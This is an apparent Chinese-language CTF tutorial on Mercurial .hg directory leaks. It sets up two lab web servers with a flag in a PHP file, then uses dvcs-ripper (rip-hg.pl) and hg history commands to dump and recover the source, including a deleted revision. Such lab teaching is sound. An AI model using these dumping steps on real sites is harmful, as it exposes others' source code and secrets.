【第四天 - HG 泄漏】

Q1. HG 是什麽?

  • Mercurial 是一种轻量级分散式版本控制系统,由於 Mercuial 的元素符号为 Hg,Mercurial 的操作工具以 hg 命名,所有操作皆以 hg <action> 的指令型式来完成,因此 Mercurial 也时常被直接简称 hg。

维基百科参考资料:https://zh.wikipedia.org/wiki/Mercurial

Q2. 为什麽会有 HG 泄漏?

在利用 hg init 建立 repository 时,会在专案目录中生成 .hg 资料夹,资料夹中纪录着专案的版本资料,若不慎将 .hg 目录公开,骇客便可以 dump 其中的内容,将专案原始码重建,因而称为 HG 泄漏。

Q3. HG 的还原工具?

Q4. HG 储存资料的位置

  • 专案中有被 tracking 的档案,其版本纪录会被保存在 .hg/store/data 中,而 .hg/store/fncache 会储存 tracking 中的档案目录
    https://ithelp.ithome.com.tw/upload/images/20210918/20140592eS6jOWK9EN.png
  • index.php.i 的内容
    https://ithelp.ithome.com.tw/upload/images/20210918/20140592EjZbOV9RkO.png

Q5. HG 泄漏类型

  • 一般 hg 泄漏: flag 在当前版本的原始码中 (如 Lab 1)
    • 下载 dvcs-ripper
    • ./rip-hg.pl -v -u <网址/.hg/>
    • ls -al
      • 查看目录下的全部资料
    • cat <找到的 flag 档案>
      • 看 flag 档案
  • HG 回溯:flag 在过去版本的原始码中 (如 Lab 2)
    • 下载 dvcs-ripper
    • ./rip-hg.pl -v -u <网址/.hg/>
    • hg log
      • 显示 log 纪录
    • hg update -r <changeset 的版本>
      • 回到某一版的节点
    • ls -al
    • cat <找到的档案>

Lab 1 (flag 在当前版本的原始码中)

  • 题目建置

    • 安装 Mercurial
    # Install Mercurial (HG)
    sudo apt install mercurial
    
    • 设置 Username 与 E-mail Address:需要设置後才能 commit。
    # Edit username
    hg config --edit
    

    https://ithelp.ithome.com.tw/upload/images/20210918/201405923ReyRwH8jd.png

    • 建立 Repo:此处直接在网页服务器建立专案
    # Create Repository
    REPO="/var/www/html/hg_1"
    sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
    hg init
    

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592S3aCAyv7m7.png

    • 新增网页:在原始码中包含 flag,但前端看不见。
    # Add Flag
    tee index.php <<EOF
      <?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
      You cannot see me!
    EOF
    hg add index.php
    hg commit -m "Add Flag"
    

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592FFNaDWaEdB.png

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592qgUwoHBhg0.png

  • 解题

    • 在网页服务器发现 .hg 目录的存在。
      https://ithelp.ithome.com.tw/upload/images/20210918/20140592dJ1MGWLpy5.png

    • 下载 dvcs-ripper

    # Install Tool Dependencies
    sudo apt-get install mercurial perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
    
    # Download Tool
    git clone https://github.com/kost/dvcs-ripper.git
    
    • Dump .hg ,得到原始码
    # Dump
    mkdir dump && cd dump
    ../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_1/.hg
    
    # Show flag
    cat index.php
    

    https://ithelp.ithome.com.tw/upload/images/20210918/201405921gB6ph9m9n.png

Lab 2 (flag 在过去版本的原始码中)

  • 题目建置

    • 建立专案,新增 flag(同 Lab 1)
    # Create Repository
    REPO="/var/www/html/hg_2"
    sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
    hg init
    
    # Add Flag
    tee index.php <<EOF
      <?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
      You cannot see me!
    EOF
    hg add index.php
    hg commit -m "Add Flag"
    
    • 将 flag 删除,建立新版本
    # Delete Flag
    echo 'No flag anymore' > index.php
    hg commit -m "Remove Flag"
    

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592ODVwkAgoPH.png

  • 解题

    • Dump .hg
    # Dump
    mkdir dump && cd dump
    ../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_2/.hg
    
    • 回溯版本,找到 flag
    # Show Log
    hg log
    
    # Revert old version
    hg update -r 0
    
    # Show flag
    cat index.php
    

    https://ithelp.ithome.com.tw/upload/images/20210918/201405922ixL55Wk24.png


<<:  Day4:有时遇到M365茶包射击(Troubleshooting)没灵感时该如何下手

>>:  # Day 9 Cache and TLB Flushing Under Linux (一)

Day 19 规划隐私资料敏感度分级

针对个人资料的定义在个人资料保护法第2条就有做很详细的说明,欧洲的GDPR也有规定「个人资料」是指与...

Day.20 Course Schedule

Leetcode #207. Course Schedule 题目给你一系列的课程,每一个门课都有它...

第一章 之二 两个国外网域

Hostinger网域供应商跟Godaddy类似,除了提供Domain( Domain Name )...

[寿星优惠-1] 飨厚牛排 #当月寿星6折

区区的30篇文章是无法满足我的,继续写~~ 忘记是从哪一年开始,响厚牛排推出寿星优惠方案,当月寿星来...

Day 29 通信

任务之间是可以相互通信的,通信的方式,有时是以信号、资料为中心的方式通信,或者结合信号与资料的作为通...